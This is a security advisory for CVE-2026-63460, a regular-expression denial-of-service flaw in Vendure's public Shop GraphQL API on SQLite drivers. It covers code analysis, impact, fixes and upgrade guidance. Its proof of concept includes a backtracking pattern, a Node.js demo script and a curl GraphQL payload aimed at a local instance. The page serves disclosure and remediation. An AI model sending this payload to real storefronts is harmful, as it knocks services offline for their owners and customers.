CVE-2026-63460: Vendure: Unauthenticated ReDoS via `regex` filter on SQLite backends

Published Sep 17, 2026
·
Updated

Summary

[!IMPORTANT] Only instances running on the SQLite driver (better-sqlite3) are affected; SQLite is usually used in development/testing backend, so production deployments on PostgreSQL or MySQL/MariaDB are unaffected.

The StringOperators.regex filter exposed on the public Shop GraphQL API is evaluated inside the Node.js event loop via a synchronous SQLite user-defined function (UDF). Supplying a catastrophically backtracking pattern blocks the entire event loop, causing a complete denial of service with no authentication required.

---

Details

Vendure registers a JavaScript UDF so that SQLite can handle the REGEXP operator:

packages/core/src/service/helpers/list-query-builder/list-query-builder.ts lines 917–931 ts private registerSQLiteRegexpFunction() { const regexpFn = (pattern: string, value: string) => { const result = new RegExp(${pattern}, 'i').test(value); // user-controlled pattern return result ? 1 : 0; }; if (dbType === 'better-sqlite3') { driver.databaseConnection.function('regexp', regexpFn); } if (dbType === 'sqljs') { driver.databaseConnection.createfunction('regexp', regexpFn); } }

The pattern argument is the raw value of StringOperators.regex submitted by the caller. No length limit, timeout, or safe-regex validation is applied before constructing new RegExp(pattern).

packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts lines 321–325 ts case 'regex': return { clause: getRegexpClause(fieldName, argIndex, dbType), parameters: { [arg${argIndex}]: operand }, // operand = raw user input };

The products resolver in packages/core/src/api/resolvers/shop/shop-products.resolver.ts carries no @Allow decorator, and the access control strategy treats an empty permission set as publicly accessible:

packages/core/src/config/auth/default-entity-access-control-strategy.ts lines 49–52 ts async canAccess(ctx: RequestContext, permissions: Permission[]): Promise<boolean> { if (permissions.length === 0) { return true; // no @Allow → public } ... }

The three conditions together — user-controlled regex, synchronous JS UDF on the event loop, unauthenticated access — create a complete unauthenticated DoS path.

Affected database drivers: better-sqlite3, sqljs. MySQL/MariaDB and PostgreSQL delegate the pattern to the database engine (those engines have their own exposure characteristics but do not block the Node.js event loop).

---

PoC

<img width="1610" height="458" alt="image" src="https://github.com/user-attachments/assets/327f3847-79d9-43e2-859e-47a753e61b2b" /> poc.zip poc-redos.js

Prerequisites: Node.js ≥ 18. No account, no server, no dependencies.

Step 1 — save the following as poc-redos.js:

js // Exact code from list-query-builder.ts:918-919 const PATTERN = '(a+)+$'; const VALUE = 'a'.repeat(28) + 'b'; console.log('[] pattern:', PATTERN, ' value:', VALUE); console.log('[] Starting (server would be unresponsive from this point)...'); const start = Date.now(); const result = new RegExp(${PATTERN}, 'i').test(VALUE); console.log('[+] elapsed:', Date.now() - start, 'ms result:', result);

Step 2 — run it: cmd node poc-redos.js

Expected output (verified on Node.js v24.14.0): [] pattern: (a+)+$ value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab [] Starting (server would be unresponsive from this point)... [+] elapsed: 19755 ms result: false

A 29-character input causes ~20 seconds of CPU spin. Inside a live Vendure server this same code runs synchronously in the SQLite UDF on the Node.js event loop — the process cannot handle any other request for the entire duration.

Step 3 — GraphQL payload (against a running Vendure instance with better-sqlite3 or sqljs driver): cmd curl -s -X POST http://localhost:3000/shop-api -H "Content-Type: application/json" -d "{\"query\":\"{ products(options:{filter:{name:{regex:\\\"(a+)+$\\\"}}}) { items { id } } }\"}" --max-time 60

No test account is needed. The products query is publicly accessible.

---

Impact

Vulnerability type: Regular Expression Denial of Service (ReDoS)

Who is impacted: - Any Vendure deployment running with a better-sqlite3 or sqljs database driver (typical for development environments and single-server small deployments created via @vendure/create). - Any unauthenticated internet user can trigger the attack — no credentials, no API key, no session. - A single malicious HTTP request blocks the Node.js event loop, making the entire storefront and admin panel unresponsive until the regex engine times out (which may take tens of seconds to minutes depending on the host CPU and pattern chosen). - Repeated requests constitute a sustained DoS requiring no more bandwidth than a single HTTP request per CPU-second.

---

Fix

1. Validate the regex before constructing it. Reject patterns that are known to cause catastrophic backtracking using a safe-regex library (e.g. safe-regex2 or recheck) before passing them to new RegExp().

2. Enforce a maximum pattern length. Reject StringOperators.regex values exceeding a reasonable limit (e.g. 100 characters) at the GraphQL validation layer.

3. Run the UDF in a worker thread. Move regexpFn off the main event loop by executing it in a workerthreads context with an AbortSignal timeout so a hung regex cannot block the server.

4. Require authentication for filtered list queries. Add @Allow(Permission.Authenticated) to ShopProductsResolver.products (and other filterable list queries) if anonymous product browsing is not a business requirement, as a defence-in-depth measure.

---

Other sources

Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop GraphQL API allows an unauthenticated caller to supply a catastrophically backtracking pattern through StringOperators.regex. packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts passes the raw pattern to the REGEXP implementation registered by packages/core/src/service/helpers/list-query-builder/list-query-builder.ts, and better-sqlite3 and sqljs evaluate it synchronously in the Node.js event loop. ShopProductsResolver.products is publicly reachable, so one nested-quantifier pattern can block request processing and make the storefront and admin API unavailable, while repeated requests can sustain denial of service. PostgreSQL and MySQL or MariaDB deployments do not execute this regular expression in the Node.js event loop. This issue is fixed in version 3.6.5.

MITRE

Affected Software

2 affected componentsFixes available
Vendure Vendure<3.6.5
npm/vendure/core<=3.6.4
3.6.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vendure/core to a version that resolves this vulnerability.

    Fixed in 3.6.5
  2. Upgrade

    Upgrade vendure to a version that resolves this vulnerability.

    Fixed in 3.6.5
  3. Configuration

    Require authentication for filterable list queries: add `@Allow(Permission.Authenticated)` to `ShopProductsResolver.products` (and other filterable list queries) if anonymous product browsing is not a business requirement.

    Vendure Shop GraphQL resolver (ShopProductsResolver.products) @Allow(Permission.Authenticated) = add
  4. Configuration

    Enforce a maximum pattern length for `StringOperators.regex` at the GraphQL validation layer by rejecting patterns whose length exceeds a reasonable limit (material notes this should happen before `new RegExp(pattern)` is constructed).

    Vendure SQLite UDF for REGEXP (packages/core/src/service/helpers/list-query-builder/list-query-builder.ts / parse-filter-params.ts) maximum pattern length = enforce a reasonable limit
  5. Configuration

    Validate `StringOperators.regex` patterns before constructing a RegExp (e.g., reject patterns known to cause catastrophic backtracking using a safe-regex library such as `safe-regex2` or `recheck`).

    Vendure regex filter validation (safe-regex) catastrophic backtracking validation = reject known catastrophic patterns
  6. Compensating control

    Run the regex evaluation off the main event loop: move `regexpFn` into a `worker_threads` context and use an `AbortSignal` timeout so a hung regex cannot block the server (compensating mitigation that prevents event-loop DoS on SQLite UDF execution).

Event History

Sep 17, 2026
CVE Published
via MITRE·02:38 PM
Data Sourced
via MITRE·02:38 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·02:49 PM
Data Sourced
via GitHub·02:49 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this denial-of-service condition?

Vendure deployments using SQLite through better-sqlite3 or sqljs are exposed before version 3.6.5. PostgreSQL and MySQL or MariaDB deployments do not execute the regular expression in the Node.js event loop.

2

Does exploitation require an account or access to the admin API?

No. An unauthenticated caller can reach the public Shop GraphQL API through ShopProductsResolver.products and provide a malicious regex filter.

3

What is the operational impact of a successful attack?

A catastrophically backtracking regex can synchronously block the Node.js event loop. This can make both the storefront and admin API unavailable, and repeated requests can sustain the denial of service.

4

What version fixes the issue?

The issue is fixed in Vendure version 3.6.5.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203